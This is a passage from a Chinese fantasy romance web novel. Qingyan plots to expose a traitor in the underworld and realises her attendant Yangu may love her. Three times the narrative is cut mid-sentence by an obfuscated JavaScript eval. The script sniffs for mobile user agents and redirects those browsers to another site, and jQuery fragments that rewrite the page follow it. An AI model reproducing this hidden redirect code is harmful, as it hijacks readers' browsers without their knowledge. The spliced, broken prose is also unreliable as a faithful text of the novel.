颜故眸色微微闪动,没有作声。 偏偏这时候青晏询问起他的意见来:“你觉得呢?是利益驱使,还是受制于人?” 颜故顿了好一会儿,才缓缓开口道:“若是从过往的情势来看,幽冥界纵然有再大的利益可图,也断不可能忘记万年前魔界加诸在他们身上的屈辱,对风烬这个仇人伸出援手,协助他恢复力量。所以,若是在这两种可能里择一,我更倾向于是受制于人。” “我也觉得这样更为合理,”青晏轻轻颔首,眼中满是思索,“而且,既然那人为了掩盖魂魄数量对不上之事不惜制造出一场大乱,那就说明挪用魂魄一事,冥帝必然不知情。不过在没有确切证据前,天界无法干涉幽冥界内务,接下来该怎么继续查下去,倒是个难题……” 不难的,仙子。 颜故静静地注视着青晏,眼底似有一丝晦暗的光芒流转。 我已经几乎把所有能明说的“猜测”都告诉你了,聪慧如你,自然能想到办法。 果不其然,青晏的眼睛倏然一亮,唇边也漾起一抹得意的微笑。颜故见状不禁也弯了眉眼,笑吟吟道:“仙子想出什么好主意了?” 闻言,青晏又将自己方才的想法在脑子里细细理了一遍,这才低声讲给颜故听。 风烬所用来恢复自身力量的手段,目前已知的有两个:通过暗中布置在人界的魔界法宝来吸取魂魄,以及在妖界收割妖丹。若是将这两种方式彻底掐断,风烬便会被逼得不得不依赖其他的暗棋,比如那个或许存在的,甘愿配合他恢复力量的幽冥界掌权者。 假设这种勾结真的存在,那么风烬从幽冥界获取魂魄的手段,定然已经成熟且隐蔽,否则若是被人撞见他本人或是手下与魔界有所往来,那位掌权者怕是万死都不足以赎罪。而这种方式之所以能隐瞒至今,也必然是因为每次输送的魂魄数量不会太多,不足以引发大规模怀疑。 可一旦前两种吸取魂魄的方式被掐断,距离恢复全盛只差临门一脚的风烬,必然会逼迫那位掌权者提供比之前更多的魂魄。慌乱中最易出错,若在此时放出幽冥界内有人在暗中协助魔尊恢复力量的消息出去,那位掌权者首先便会怀疑自己是不是真的露出了什么马脚。 “而更妙的是,”青晏的指尖轻快地在案上敲了两下,“哪个掌权者没几个政敌呢?这消息一放出去,最想查明真相的可就不是我们了。届时只需要暗中看紧这些人,盯着他们的动静,若是有人在消息传出后显得格外紧张,或是行为异常,那个人,八成就是我们要找的。” “仙子好计谋,”颜故笑得缭绕动人,眼底那点幽光也愈发灼灼,“想必这放消息的方式,仙子心中也有打算了吧?” 青晏点了点头:“此事涉及幽冥界的稳定,消息不可全盘扩散,避免引发动荡,所以只能在小范围内传播。而且在传出这消息前,天界必须做好万全准备,以防风烬狗急跳墙,直接在人界或妖界制造大量伤亡来迅速恢复力量。” 颜故笑意更盛。 可下一瞬他的神情却几不可查地一滞,眼睫也接连轻颤了几下。渐渐地,他眼中盈满的真切笑意缓隐去了,深深弯起的眼角也恢复成恰到好处的,克制的浅淡弧度。 他略略垂下头去,嗓音虽依旧清润,却带上了几分疏离:“仙子考虑周到,在下佩服。” 青晏虽仍沉浸在思绪中,却也敏锐地捕捉到了颜故情绪的异常。她的目光在他脸上停驻了片刻,刚想开口询问,却被一声骤然闯入耳畔的欢快叫喊吸引走注意力。 “你醒啦!!!”明煦的尾音拖得长长的。 她乐颠颠地跑到青晏身边,对着起身向她施礼的颜故诧异道:“咦,我还特意叮嘱如樱如桃,要是青晏醒了得第一个通知我,没想到居然还是来晚了一步,看来离得近就是好。” 颜故笑笑:“只是偶遇。” “是有点巧呢。”初三从明煦身后探出头来,语气意味深长,“我记得初琅殿离这可不近,这都快到后苑了。” 初三这话一出口,明煦猛然想起那日他告诉自己的事来,看向颜故的目光第一次多了点探究。 这么看着倒也和之前没什么太大差别呀?也没有话本里写的那种什么,深情缱绻的眼神,恨不得粘在她身上的视线,以及情不自禁前倾的身体,无意识想要靠近的坐姿…… 颜故仍旧端正地坐在石凳上,腰背笔直,姿态端肃,挺拔得像一颗冷冽矜持的青松。 许是明煦打量的目光着实太过明显,他终于偏过头来看她,平静的目光好似远山云雾般淡然,只有微微扬起的眉头像是带着一点不甚明显的询问。 被这坦然的目光笼罩着,明煦竟莫名生出一丝心虚,赶紧移开目光,清了清嗓子:“啊,我没什么事儿,就是想看看你恢复得怎么样了。” “无甚大碍了,多谢仙姬挂念。” 明煦拉着初三一起在亭内坐了下来,一脸好奇道:“我们俩来之前,你们在聊什么呢?” 青晏简要地向他们复述了一遍方才的谈话内容。明煦立刻抓住了重点,双眸一亮:“所以,接下来我们是要去和唐禾一起收缴法宝了吗?” 初三闻言也激动起来:“也带上我!” 他长久地在天界待着,已经都快要忘记人界什么模样了。况且青晏刚才那番话听起来好像此行不光是在人界活动,还能去妖界和幽冥界看看,一听见这些,他的好奇心忍不住地噌蹭往上涨。 然而青晏的话却打破了他的幻想:“你身上的幽冥之气如今全靠那戒指压着,在这个关节,还是暂时别暴露的好。不过……”她顿了顿,眸光微动,“之后应该会有专门需要你出面的时机。” 初三原本满怀期待的神情瞬间垮了下来,悻悻地“哦”了一声,满脸不甘。 “而你,不是已经被天帝叫过去跟着煜成将军一起学带兵备战了吗?”青晏侧过头看明煦,“所以都不用去,这点小事我和颜故就能处理。” 颜故微微抬起眼来,眸中掠过一丝亮色,却又很快隐没在墨色的瞳孔深处。他的视线在青晏脸上只停留了极短的一瞬,随即便像是要竭力克制住什么情愫一样避开。 这一眼其实扫得飞快,然而一直留心着颜故反应的明煦自然没能错过这丝异常。 她心里简直已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194564|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在尖叫了。 这就是初三说过的奇奇怪怪的眼神!被她逮到了!这小子果然有问题!他果然是喜欢青晏的!!瞧他刚才那知道自己又能和青晏一起下界所以喜不自胜的小眼神儿!!! ……至于后来他身上为什么忽然冒出来点悲伤和挣扎的气息,这她就不知道了。兴许是知道自己竞争不过天帝,觉得自己的爱情无望吧……嗯,肯定是这样。 一想到这里,明煦又替颜故觉得有些可惜,看向他的目光里也不禁多了丝怜爱。虽说他确实有眼光极了,但无奈竞争对手实在太过完美,无人能敌,输给天帝也不算输。 更何况,青晏应该压根就没把他们这些小辈儿当成异性来看待,严格意义上甚至称不上竞争对手呢。 说起来……青晏到底知不知道颜故和唐禾对她有意啊?按理来说她要比自己敏锐得多,但如果她也和自己一样完全没往这方面考虑过,那还是有很大可能性不知道的。 如果真是这样,那自己可千万别多嘴去提。虽说以青晏的性子,就算是知道了也不会表露分毫,但眼下局势复杂,魔界步步紧逼,她还有更重要的事情要考虑,若是此时让她分心去思索该如何与他们正确相处,这可对大局不利。 而且退一万步说,如果青晏从此真的不再单纯地把他们当成小辈儿了,那岂不是有非常小的可能性她会对其中一人动心?这可不行!虽说她和宸景天帝的爱情幼苗至今尚未开花,但自己仍然要坚定守护!守护! 她正在心中挥舞守护大旗时,青晏带着疑惑的声音忽然在她耳畔响起:“你在笑什么?” 明煦一惊,猛然收回飘远的思绪,这才意识到自己的嘴角不知何时已经微微扬了起来。她连忙打哈哈:“没什么,只是你刚才提到煜成将军了嘛,我之前和他学到了不少有用的东西,一想起来就高兴呢。” 初三立即沉下脸去。 可惜除了向他淡淡扫了一眼的颜故之外,并没有人注意到他的异样。着急转移话题的明煦问着青晏打算何时下界去处理她刚才所说的那些事情的时间,而青晏在认真思考了一会儿后,犹豫着表示或许是在半月之后。 “总要等我恢复得差不多再说。”她看向颜故,“你呢?半月够吗?” 颜故轻轻点了点头。 方才那种觉得他有些不太对劲的感觉又回来了。青晏眉头微拧了一瞬,最终还是决定不问出口为妙。 万一得到了什么自己并不想听到的答案…… 而明煦虽然不明白青晏为什么皱眉头,但也能看懂她这情绪是因为颜故而生的,顿时警惕心大起。 不过仅仅半刻后,她便用一个强有力的理由说服了自己:人家本来就是青晏的座下仙使,关系比旁人亲近些也很正常。再说了,他们又多次并肩作战,青晏关心颜故也是情理之中,自己平时不也没少关心唐禾吗? ……但不管怎么说,以后多注意一点,总是不会出错的吧? 明煦的眼珠子在他们二人之间迅速转了几圈,终于暗自下定了决心。 说什么也得盯紧点儿! 那面守护大旗在她心中猎猎飘扬。 83.显露 几人随意闲聊了一阵儿,没过多久,青晏就收了这闲散惬意的情绪,起身前往天宫,与宸景商讨此事。 她将目前所有的猜测与推论,以及接下来打算采取的行动一一向宸景说明。 宸景闻言微微颔首,表示按他收到的消息来看,有人在暗中收割妖丹一事,已经引起妖皇崇岚的警觉,如今他正雷厉风行地派人追查,并已初见端倪。 至于幽冥界那个可能与魔界暗中勾结的掌权者人选,他心中也大概有数。 宸景伸手在空中轻轻一点:“其他人不必考虑,你只需关注两个人。” “第一位,太子宁镇。” “有权力,有野心,行事风格也容易导致有把柄在风烬手里。至于第二位……” 他的神情略有迟疑,但片刻过后还是开口道:“第二位,便是他的妹妹宁尧。” “虽然她向来不争不抢,只做分内之事,因此在外人眼中几乎没什么存在感,但据我多年观察,她绝非等闲之辈。” 青晏眉峰一挑:“你说的这些,宁镇知道吗?” 宸景摇摇头:“应该不知。而且我猜,他甚至从来都没有把宁尧视作威胁。当然,这也和宁尧本身从未表现出任何抗争之意有关。” “无论冥帝或是宁镇做了多么不公平的事,宁尧都只是一味地接受。但兔子急了还咬人呢,她宁尧真就一点脾气没有吗?” 青晏陷入思索。 宸景的话不无道理,任谁都不可能对多年来的不公对待毫无怨怼。 这份挤压在心中多年的怒意和不甘,极有可能指引着宁尧将大量本界内的魂魄送至风烬手中,从而对幽冥界现在、以及未来的统治者,进行一场深远且无法回头的冷酷报复。 虽说合情合理,但也不能因此先入为主,还是应再仔细观察。 宸景手指轻弹,一封信笺在金光中消失不见:“收缴法宝的事我已告知相关仙吏,你和颜故什么时候恢复好了,便可随时出发。” 青晏点头。 回到玄镜宫时,青晏下意识地往前殿望了一眼。意料之外又早有预料的是,颜故依旧不在。 他仍然没有像往日那般等着她回来。 据如樱说,他又独自回了初琅殿,应是继续看书修行去了。 青晏对此说法不置可否,但时间还长,她便打算等明日用膳时再与他提起宸景的推测。 然而第二日,饭桌上依旧不见颜故的身影。 如樱如桃对此似乎已习以为常,菜齐之后便直接坐下,一个盛汤,一个夹菜,丝毫不觉得少了谁。 饭后青晏在前院的摇椅上躺了大半个下午,然而直到日头偏西时也依然没见到颜故的身影。无奈,她只好传念给他,让他有空时过来一趟。 颜故来得倒是很快,就是神情还是有些恹恹的,像是没怎么休息好。 可这不应该啊,青晏蹙起了眉。 昨天他自己说已经大好了,怎么反倒过了一天一夜,气色还更差了些? 她有心问上一句,但瞧他这副若无其事的模样,便知就算问了恐怕也问不出什么来。 那便还是等过段时间再说吧,兴许到时候颜故便愿意沟通了。 青晏定了定神,将宸景怀疑宁尧便是那位暗中协助风烬恢复力量之人的推测告诉了他。 颜故倏地抬起眼来,唇角似是不受控地翘了翘,随即便低下头去轻咳一声:“不是没有可能。” “只是……”他垂眼向一侧看去,“若是一个这么不受重视的公主,她手中真的有那么大的权力可以撬动此事吗?” “想来天帝应是了解到了什么不得了的事情,这才会把宁尧也纳入考虑范围吧。”颜故语气淡淡的。 “他倒是没说具体观察到了什么,但宸景性子一向谨慎,从不说没有把握的话,所以我还是相信宁尧并不简单。” “善于隐忍之人,自然不会简单。”颜故竟然罕见地继续坚持着自己的观点,“但不简单,也不代表这件事便是她能做,或是做得了的。” “所以你的意思是,你更倾向于是宁镇?” 颜故轻轻点头:“如今各处人手都紧张,若派出去盯着宁尧的人多了,盯着宁镇的就少。万一真是宁镇,错过什么蛛丝马迹该怎么办?” 青晏扬眉:“可按照你这个思路来说,万一真就是宁尧,去盯着她的人少了,不也会错过证据?” 颜故被这句话噎了一下,片刻后才抿了抿唇,继续道:“道理是这个道理,不过自然还是要把力量集中在更有可能的那个人身上。” 青晏“嗯”了一声,低头凝神思考着。然而下一瞬,她却听见自己耳边传来颜故似是在赌气般的询问。 “仙子是更信我,还是更信天帝?” 青晏的双眼不受控制地睁大了。 这什么问题? 啊?!这什么问题?! 这要我怎么回答? 若要实话实说那自然是更信宸景……上万年的交情在那摆着,更何况宸景贵为天帝,消息来源必定复杂,他个性又极为谨慎与缜密,从他口中说出的话定然是经过深思熟虑的。 但…… 一股莫名的预感让她觉得,如果自己真的回答“更信天帝”,那么颜故的反应一定不会是她想要的。 更何况,她也没有觉得颜故不可信。 是,这人是心思多,还总爱把什么都压在自己心里不明说。 但自打认识他那天起,他从未做过一件不利于她,或是不利于天界之事。甚至多次出生入死,不计得失,无论身处何种境地,都能迅速冷静下来,做出当下最有利的判断。 他的直觉也一向很准,头脑也是极其冷静清醒的。若他如此坚持是宁镇而非宁尧,那或许……这其中确实有值得推敲之处? “所以,仙子还是更信天帝。”颜故幽幽的嗓音在她耳畔响起。 那音色虽一听就是颜故本人的,但无论是音调还是内容,却都莫名地冒着丝丝缕缕的凉气,让人感觉陌生极了。 青晏赶紧道:“没有,你们俩的话都很有道理,我还在思考……” “哦,”颜故用很轻的声音打断了她,“一碗水端平是吧,仙子?” “什么一碗水,哪有水。”青晏试图迅速止住他一向优秀的发散思维,“我会和天帝讲明,让他往宁镇处再多加派些人手。” 颜故淡淡应了一声,没再说话。 见他如此,刚才受到了惊吓的青晏反而燃起了斗志。 她睨着颜故:“既然满意了,那便和我说实话。你最近很不正常,为什么?” 颜故似是极惊讶般扬起头:“不正常?我哪里不正常了?” 装傻是吧? 青晏眯起眼,语气笃定:“自回来便是这样了。总是避着人,自己一个人待着。你从前可是几乎没离开过前殿以及前院,如今却日日独自在初琅殿里窝着,究竟发生了什么?” 颜故垂了垂眼睫,轻描淡写道:“不过是想静心修行……” “你这借口用过了。”他话音未落便被青晏无情拆穿。 “怎么能是借口呢,仙子。”颜故却不恼,反而诚挚地望着她,“你瞧,很快便是再次下界,去追缴魔界法宝的时刻了。期间定然不会太过安稳,随时都有可能遇见棘手的麻烦。我自然要趁此机会抓紧提升修为,方能应对接下来的各种变数。” “况且,这些法宝一旦被尽数处理完毕,风烬会出什么样的招数还未可知,万一他狗急跳墙,直接动用大型邪术,或是干脆再次挑起战争……” 他轻轻笑了笑:“上次天魔大战中可是陨落了不少神仙呢。我虽说只是一个初出茅庐的小仙使,却也惜命得很,不想就此折陨。” 青晏微微眯起眼打量着他,语气意味不明:“如今终于学会惜命了?” “仙子对此耳提面命,我当然要听。”颜故的目光似笑非笑地落在她身上,“仙子难道不该为我高兴吗?” 不对,这一定不是真话,可自己却又分辨不出究竟为何。 青晏被他这副模样弄得有些烦躁,可细究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222800|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来却又无错可挑。 你总不能因为一个人突然开始努力发奋、刻苦修行,就说他不对劲吧? 更何况这人是本就优秀到能令宸景都高看一眼的颜故,无论怎么说都合情合理。 可越是这样,她的直觉越叫嚣着让她不要相信。 她目光微沉地盯了他片刻,忽然道:“那你这些日子到处转,又是为了什么?” “自然是为了找个合适的地方修行。”颜故语气轻快,甚至有几分理直气壮,“这功法讲究天地灵气的配合,选对方位可以省不少力气,这办法还是我师父教我的呢。” 言毕,他竟抬手振了振袖,兴致盎然道:“仙子要听吗?” 青晏赶紧制止他:“委实不必。” 颜故低低一笑,眸色微闪,倒也乖顺地收回手,安静地站在原地。 见青晏仍蹙眉打量着他,颜故竟忽然稍稍向前倾身,漂亮的眼睛从下往上凝视着青晏,看起来无辜又动人。 他声音轻柔,又仿佛带着一点委屈:“仙子可是在怀疑我什么吗?” 青晏沉默地看了他一会儿,终是叹气道:“不是怀疑,是担心你。” 颜故喉结滚了滚,再开口时嗓音略有些低哑:“我真的没事,仙子。” 他偏开视线:“我不过是……有太想做的事情了。” “那好吧,”青晏见他如此坚持,便也不再纠结于这个问题,随口闲谈了几句,旋即便转身去与宸景商议加派盯着宁镇的人手之事。 而接下来的日子里,颜故也依旧和这些天一样,游离在众人之外,行踪也依旧飘忽不定。 直到连明煦都开始察觉到哪里不太对劲。 这天阳光明媚,明煦躺在树荫下的摇椅上有一下没一下的晃悠着,半眯着眼,懒洋洋地晒着太阳。 忽然间她像是想到了什么,身子一翻,朝着青晏的方向扭过头去,开口道:“我真的很久没见到颜故了,这小子最近是不是有什么问题啊?” 另一棵树下,青晏正躺在藤椅上闭目养神,闻言随口回道:“潜心修行呢。” “再怎么潜心修行,也不至于连饭都不吃吧?” “人家本就不像你这般嗜好口腹之欲,不吃不是也很正常。” “可他之前顿顿都跟着咱们一起吃的啊?”明煦不解地歪着头,“从你睡着的那半个月的第一天开始,一直到现在,我都没在饭桌上见到他,这改变得也太快了吧?” “兴许几天就养成习惯了吧。”青晏闭着眼随口答道。 “我本来还以为……” 青晏忽然睁开眼:“以为什么?” “没,没什么。”明煦一下子警觉起来,赶紧收回自己差点就脱口而出的话。 可青晏审视的目光盯得她心里发虚,那肯定的语气更是令她不知所措:“你知道些什么。” “没有啊,”明煦硬着头皮负隅顽抗,“我不知道。” 青晏又打量了她一阵,突然道:“和取出幽煞珠那天你让初三不许说的事情有关吗?” “啊?”明煦委实没想到她居然还能记得这码事,立即把头摇得像拨浪鼓一般,“怎么可能有关呢?那天明明是说不想让你知道天帝训我的事嘛……” “哦?”青晏淡淡地瞥了她一眼,“天帝训你了吗?” “这,这……” 忽地一声轻笑,绿眸的漂亮少年从树顶轻盈地跳下,落到了明煦的摇椅旁。 他双臂抱胸,懒洋洋地开口,语气里带着些促狭:“露馅啦,就说瞒不了多久,还是实话实说吧。” 青晏挑挑眉,好整以暇地在摇椅上用胳膊肘支着头,等着这一人一猫老实交代。 明煦挣扎片刻,最终还是泄了气,低低嘟囔了一串含混不清的话。 “嗯?”青晏一个字都没听清,只好微微侧耳,“你说什么?” “哎呀……” 明煦跺了跺脚,像是破罐子破摔般地深吸一口气,随即在青晏疑惑的目光中大声道:“我说,颜故好像喜欢你!” 84.应对 终于喊出这个惊天大秘密的明煦长长舒了一口气,带着几分得意地去观察青晏的神情。 嗯哼哼,总算能看到她手足无措,瞠目结舌的稀有表情了…… 然而青晏却只是眨了眨眼,连眉毛都没挑一下,平静地回了个:“哦。” “……” 明煦的期待瞬间落了个空,就连已经做好看热闹的准备的初三也是一脸愕然。 “你,你是不是早就知道了?!”明煦大叫,“什么时候?” 青晏耸耸肩:“我不确定,只是猜的。” “倒是你们,”她微微眯起眼,“这么言之凿凿,是他亲口和你们承认了不成?” 明煦一噎,讪讪地移开目光,扁扁嘴道:“那倒也不是,我们也只是……合理推测。” 她伸手推了推初三,让他把之前和自己说过的那些分析再和青晏讲一遍。 初三老老实实地将自己那些观察到的奇异眼神,以及甘愿跟着青晏出生入死的推论讲了出来。 他讲得极为认真,细致到连颜故眼神几不可查的变化、语气的微妙起伏、甚至某些能察觉到他感情变化的举动都一一列举出来。 可青晏听着听着,嘴角却总是不受控制地微微翘起,随即又迅速地压了下去,整个人仿佛沉浸在一种极力忍笑的情绪里。 初三不乐意了:“你这什么表情,我说得不对吗?你看到那样的画面,听说这样的事情,不会往这方面想吗?” 青晏终于忍不住自己那溢满胸腔的笑意,低低地笑了出来。 她一边笑一边道:“我是真没想到,你一只刚化形没多久的小猫,居然还挺擅长揣测别人的感情,我还以为你什么都不懂呢。” “我怎么不懂!”初三不服气地挺起胸膛,“难道只有化成人形了才配有情感吗?我做猫的时候也是有眼睛的!我早就懂了!” 他飞速瞥了一眼明煦,很快又板起脸来张牙舞爪地道:“再说了,你们俩平时看那些情呀爱呀的话本的时候,还有讨论书里情节的时候,背着我了吗?我就是纯靠耳濡目染,这些年也该学会了!” 明煦一拍大腿:“我说你那时候怎么总是在旁边咪咪喵喵的,合着是跟我们一起聊话本呢?” 青晏以指关节摩挲着下巴,若有所思道:“那下次要不背着你?” 初三没好气地“哼”了一声:“晚了,我现在已经快修炼成情感大师了。” “现在本大师要好好审问你,”初三的绿眸闪烁着熠熠光芒,“你又是因为什么敢这么猜?” “和你观察到的东西差不多吧……”青晏叹了口气,“我也不愿意往这方面想。但如果不是这个原因的话,我真的不明白他屡次这么拼命的缘由。” “所以你是什么时候猜到的?”明煦问。 在得知青晏大概是在混沌裂谷时意识到颜故的情意时,明煦先是本能地长长“哦……”了一声,接着便瞪大双眼:“等等,可这么多天以来,我看你对他的态度和之前没什么分别啊?” “为什么要有分别?” “就,你之前一直是这样的啊……无论是谁喜欢你,你都不搭理人家,连面也不见,礼物也不收的。可我现在怎么感觉,你原来怎么对颜故,现在还是怎么对颜故……”说着说着明煦就紧张起来,“等等,你不会真的喜欢上他了吧?” “怎么可能,”青晏笑起来,“但你刚才说的那些我倒是可以解释一下。” 明煦和初三闻言双双竖起了耳朵,听着青晏不疾不徐地给他们解释。 其实无论对谁,她的态度都没有变化。他们之前所提到的那些她不搭理的人,平时和青晏就无甚交集,所以“不搭理”反而是常态。 按照青晏的说法,总不能因为他们喜欢她,她就要对他们额外和颜悦色一些,天下没有这样的道理。 而至于颜故,人家本来就没有把话挑明,所谓的喜欢与否都是他们自己的猜测,她更是没必要因为这些而故意疏远他。 “其次……”青晏垂眼沉默了片刻,终是缓缓叹了口气,“他是个聪明人。” 明煦疑惑地揪起眉头。 聪明人?什么意思? 很快她便得到了青晏的回答。 经他们这么一提醒,她恍然间似乎明白了为什么颜故这些天故意不怎么出现在她面前。兴许是他也刚刚才意识到自己的感情,但明白不会从她这里得到什么回应,所以正在通过自我疏远的方式,努力克制自己的感情,直到它慢慢变淡。 明煦一瞬间不知道该怎么形容自己的心情。 所以,这就是聪明人吗?因为足够理智,所以不会抱有不切实际的幻想,放任自己沉溺于情感之中。 和其他追求者不一样,聪明人一旦明白此事无望,便会自己想方设法去解决掉不该生出的情感,因此青晏根本不需要做出任何改变,颜故自己就会主动远离? 她咽了咽,有些艰难地将自己的想法问了出来。 青晏闻言,垂眸抚了抚衣摆,半晌才道:“差不多吧。” 她转头望向远处的青树:“他现在已经在这么做了,不是吗?” 明煦张了张嘴,但最终还是什么都没说。 你们聪明人之间这股心照不宣的默契劲儿……我真是…… 然而此时初三却忽然歪了歪脑袋,绿眸里跳动着饶有兴致的光芒:“那如果他没抑制住呢?” 青晏转眼看他。 “不是有个说法,叫什么来着……物极必反?” 初三双手抱臂,嘴角勾起促狭的弧度:“如果颜故这么成年累月地自我压抑着,会不会反而感情越来越深,最后直接成长为……一个变态?” 明煦猛猛点头:“对对对!我之前读过有类似情节的话本!” 青晏无语地翻了个白眼。 这俩人的记性,只有在记这些乱七八糟的东西的时候最好用…… “这可是经典片段,”见到青晏的白眼,初三一本正经地反驳着,“足以说明发生的可能性有多高了。” 青晏忍不住揉了揉眉心,无奈道:“颜故不会的。” “哦?”明煦乐颠颠地凑过去,“你怎么知道他不会?我看可不好说。不都说原来的性格越温柔,爆发的时候就越吓人吗?” “颜故一直都很有分寸。” “那也是理智尚在的时候,”初三的眼神意味深长,“爆发的时候谁跟你论理智,说疯就疯了。” 青晏闻言眯起眼:“你们能不能盼我点好,也盼点他好?八竿子没一撇的事,现在就开始给我编上话本了。” “哎呦,闲聊嘛,就是要聊点可能性不大的事才过瘾呐。”明煦单手托着腮,嬉皮笑脸道。 然而她很快便皱起脸来,问青晏既然她马上又要和颜故一起出行,那颜故如今故意疏远的态度,会不会对收缴魔界法宝的事产生影响? 青晏静默了一瞬,随即像是下定了什么决心般缓缓摇了摇头。 “我不会让这件事被影响的。” 不管颜故是因为什么原因刻意疏远,既然他已经做出了这样的选择,那她便也该顺势而为。 无论是作为他的指引仙官、前辈、甚至或许可以算是半个朋友,她都应该为他着想,和他保持距离。 若他只是需要安静的个人时间去修行,那么她会竭尽所能为他提供最合适的修行场所、最珍贵的典籍,或是丹药法器等等一切辅助支持,助他提升。 可如果真的如此前所猜测那般,颜故对自己生出了不该有的心思…… 那她便别无选择,只能硬起心肠,彻底斩断这个可能。 青晏目光坚定。 无论是年龄,还是阅历,她都比颜故要高出太多。自己虽说只是他的前辈,但他毕竟也是自己的座下仙使,无论于情于理都不妥。 更何况他们多次一起出生入死,这种极端境况下,很容易将对前辈的敬重、和对同伴的依赖错认为是“心动”,是“喜欢”。 作为理应更成熟、更理性的那个人,自己应该帮助颜故尽早从这样的误区中脱离。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284010|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是她的责任。 “不会让这件事被影响……” 明煦琢磨了一下这句话的意思,眼中逐渐浮上了同情之色。 可怜的小颜故,这下要感受到真正冷淡起来的青晏是什么模样了。 不过颜故的心性毕竟要比一般人坚韧得多,这种波折兴许他自己消化一段时间也就习惯过来了。 这要是换做小唐禾,他可未必受得了。 为了唐禾的情绪着想,还是不要让青晏知道他也怀着和颜故一样的心思好了。 明煦暗暗下了决心。 而初三不知她们二人的心理活动,还在津津有味地刨根问底:““所以你这是打算也要疏远他了?那这怎么可能不会影响到收缴法宝的事呢?” “哎,一看你就是和颜故接触少了。”明煦摇摇手指,“还真不会影响。” “颜故不会因为个人情绪而影响正事。”青晏平静道,“他或许会回避一些不必要的交流,但绝不会耽误进度。” 初三饶有兴趣地撑着下巴,啧啧道:“要不是明煦在天界有正事干,我真想跟下去看热闹。如此微妙的关系,一定很有观赏性……” 青晏朝他温柔地笑了笑。 初三太熟悉这个神情了,登时便跳起来试图逃离,然而就在他起身的刹那,他的尾巴竟不可抑制地从身后冒了出来,顶尖上赫赫燃起一抹炽烈的火苗。 他手忙脚乱地扑灭火苗,忿忿地嚷道:“从前有尾巴时就是这招!如今没尾巴了,也非得给我变出来继续用?!” “招不在多,”青晏愉悦地欣赏着初三那被燎得有些发焦的尾巴毛,“管得了你就行。” 初三哼哼唧唧了一阵,旋即拉着明煦走了,说是一看见青晏就尾巴疼。 青晏闻言笑眯眯地冲他摆手:“以后要是想换个毛色,随时可以找我。” “……” 初三的脚步登时加快了三分。 ------ 他们走后,庭院间再次恢复了寂静,连风都不再吹动,只有夕阳正在缓缓西沉。 金红色的光辉逐渐蔓延过来,将青晏眼前的一切都染得温柔而炽烈。 不知怎的,她忽然想起那个颜故第一次向她提起冰澜草作用的傍晚。 那日的夕阳,似乎也是这样的热烈灿烂。 颜故就在这样盛放的晚霞里盯着她,视线好似黏在了她脸上似的,一直到她离开都未曾偏离过半分。 现在回想起来,难不成那时,他的感情便已经初见端倪了? 可惜那时的她满心都是初三的事,根本无暇顾及周围的细枝末节。 如果那个时候她便意识到颜故的异常,是否就能早一点进行干预?那么事情的发展,又会不会和现在有所不同? 青晏仔细回顾着自己在那日过后的所有举动。 会太过亲近吗? 会超出前辈对后辈,或是朋友之间该有的关心吗? 她认真地想了很久,终于承认,哪怕以自己一向严苛的道德标准来审视,她的行为依旧无可指摘。 她从未刻意引导,或是无意间做出什么不适宜的举动,来诱导颜故对她产生不该产生的情感。 确认了这一点的青晏刚放松了不到半刻,心头便又开始萦绕起新的困惑。 为什么,她会这么在意自己有没有做出什么诱导颜故的举动? 不过是一个喜欢自己的人罢了,这万余年来明里暗里对自己表达过情意的人数不胜数,她可从来没费心思多看过谁一眼,更别提去分析自己究竟做了些什么会导致那人生出情意。 与她何干。 可偏偏到了颜故这里,却全都变了。 绚烂的金辉终于一点一点黯淡下去,微凉的夜风也开始拂动她的发梢,整个天地间都逐渐透出一丝清冷的气息。 青晏站起身来,向着自己的寝殿走去。 那个萦绕在心头的疑惑,便还是留给这即将侵袭而来的夜吧。 她还有更重要的事去做。